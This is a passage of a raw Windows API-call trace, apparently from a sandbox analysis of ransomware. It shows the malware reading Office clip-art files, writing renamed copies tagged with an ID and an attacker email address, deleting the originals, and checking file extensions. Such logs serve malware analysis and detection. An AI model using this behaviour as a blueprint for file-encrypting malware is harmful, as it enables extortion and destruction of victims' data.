GetLastError () returned 0x0 [0217.605] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0217.633] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0217.634] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.634] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.634] SetEndOfFile (hFile=0x1f8) returned 1 [0217.634] CloseHandle (hObject=0x1f8) returned 1 [0217.634] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.634] SetEndOfFile (hFile=0x1e4) returned 1 [0217.635] CloseHandle (hObject=0x1e4) returned 1 [0217.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0217.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.635] lstrlenW (lpString=".doc") returned 4 [0217.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.635] lstrlenW (lpString=".docx") returned 5 [0217.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.635] lstrlenW (lpString=".pdf") returned 4 [0217.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.635] lstrlenW (lpString=".xls") returned 4 [0217.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.635] lstrlenW (lpString=".xlsx") returned 5 [0217.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.636] lstrlenW (lpString=".ppt") returned 4 [0217.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.636] lstrlenW (lpString=".zip") returned 4 [0217.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.636] lstrlenW (lpString=".rar") returned 4 [0217.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.636] lstrlenW (lpString=".bz2") returned 4 [0217.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.636] lstrlenW (lpString=".7z") returned 3 [0217.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.636] lstrlenW (lpString=".dbf") returned 4 [0217.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.636] lstrlenW (lpString=".1cd") returned 4 [0217.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0217.636] lstrlenW (lpString=".jpg") returned 4 [0217.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.636] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1696) returned 1 [0217.636] CloseHandle (hObject=0x1e4) returned 1 [0217.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0217.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.637] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.637] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.637] GetLastError () returned 0x0 [0217.637] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0217.638] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0217.639] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.639] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.639] SetEndOfFile (hFile=0x1f8) returned 1 [0217.639] CloseHandle (hObject=0x1f8) returned 1 [0217.640] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.640] SetEndOfFile (hFile=0x1e4) returned 1 [0217.640] CloseHandle (hObject=0x1e4) returned 1 [0217.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString=".doc") returned 4 [0217.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString=".docx") returned 5 [0217.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.641] lstrlenW (lpString=".pdf") returned 4 [0217.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString=".xls") returned 4 [0217.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.641] lstrlenW (lpString=".xlsx") returned 5 [0217.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.641] lstrlenW (lpString=".ppt") returned 4 [0217.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString=".zip") returned 4 [0217.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.641] lstrlenW (lpString=".rar") returned 4 [0217.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString=".bz2") returned 4 [0217.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString=".7z") returned 3 [0217.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString=".dbf") returned 4 [0217.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString=".1cd") returned 4 [0217.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0217.641] lstrlenW (lpString=".jpg") returned 4 [0217.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.641] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1516) returned 1 [0217.641] CloseHandle (hObject=0x1e4) returned 1 [0217.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0217.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.642] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.642] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.642] GetLastError () returned 0x0 [0217.642] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0217.648] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0217.649] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.649] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.649] SetEndOfFile (hFile=0x1f8) returned 1 [0217.649] CloseHandle (hObject=0x1f8) returned 1 [0217.650] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.650] SetEndOfFile (hFile=0x1e4) returned 1 [0217.650] CloseHandle (hObject=0x1e4) returned 1 [0217.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString=".doc") returned 4 [0217.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString=".docx") returned 5 [0217.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.651] lstrlenW (lpString=".pdf") returned 4 [0217.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString=".xls") returned 4 [0217.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.651] lstrlenW (lpString=".xlsx") returned 5 [0217.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.651] lstrlenW (lpString=".ppt") returned 4 [0217.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString=".zip") returned 4 [0217.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.651] lstrlenW (lpString=".rar") returned 4 [0217.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString=".bz2") returned 4 [0217.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString=".7z") returned 3 [0217.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString=".dbf") returned 4 [0217.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString=".1cd") returned 4 [0217.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0217.651] lstrlenW (lpString=".jpg") returned 4 [0217.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.652] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=8070) returned 1 [0217.652] CloseHandle (hObject=0x1e4) returned 1 [0217.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0217.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.653] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.653] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.653] GetLastError () returned 0x0 [0217.653] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0217.654] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0217.655] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.655] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.655] SetEndOfFile (hFile=0x1f8) returned 1 [0217.655] CloseHandle (hObject=0x1f8) returned 1 [0217.656] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.656] SetEndOfFile (hFile=0x1e4) returned 1 [0217.656] CloseHandle (hObject=0x1e4) returned 1 [0217.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString=".doc") returned 4 [0217.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString=".docx") returned 5 [0217.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.657] lstrlenW (lpString=".pdf") returned 4 [0217.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString=".xls") returned 4 [0217.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.657] lstrlenW (lpString=".xlsx") returned 5 [0217.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.657] lstrlenW (lpString=".ppt") returned 4 [0217.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString=".zip") returned 4 [0217.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.657] lstrlenW (lpString=".rar") returned 4 [0217.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString=".bz2") returned 4 [0217.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString=".7z") returned 3 [0217.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString=".dbf") returned 4 [0217.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString=".1cd") returned 4 [0217.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0217.657] lstrlenW (lpString=".jpg") returned 4 [0217.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.657] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=9304) returned 1 [0217.657] CloseHandle (hObject=0x1e4) returned 1 [0217.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0217.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.658] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.658] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.658] GetLastError () returned 0x0 [0217.658] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2458, lpOverlapped=0x0) returned 1 [0217.659] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0217.660] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.660] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.660] SetEndOfFile (hFile=0x1f8) returned 1 [0217.660] CloseHandle (hObject=0x1f8) returned 1 [0217.660] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.660] SetEndOfFile (hFile=0x1e4) returned 1 [0217.661] CloseHandle (hObject=0x1e4) returned 1 [0217.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0217.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.661] lstrlenW (lpString=".doc") returned 4 [0217.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString=".docx") returned 5 [0217.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.662] lstrlenW (lpString=".pdf") returned 4 [0217.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString=".xls") returned 4 [0217.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.662] lstrlenW (lpString=".xlsx") returned 5 [0217.662] lstrcmpiW 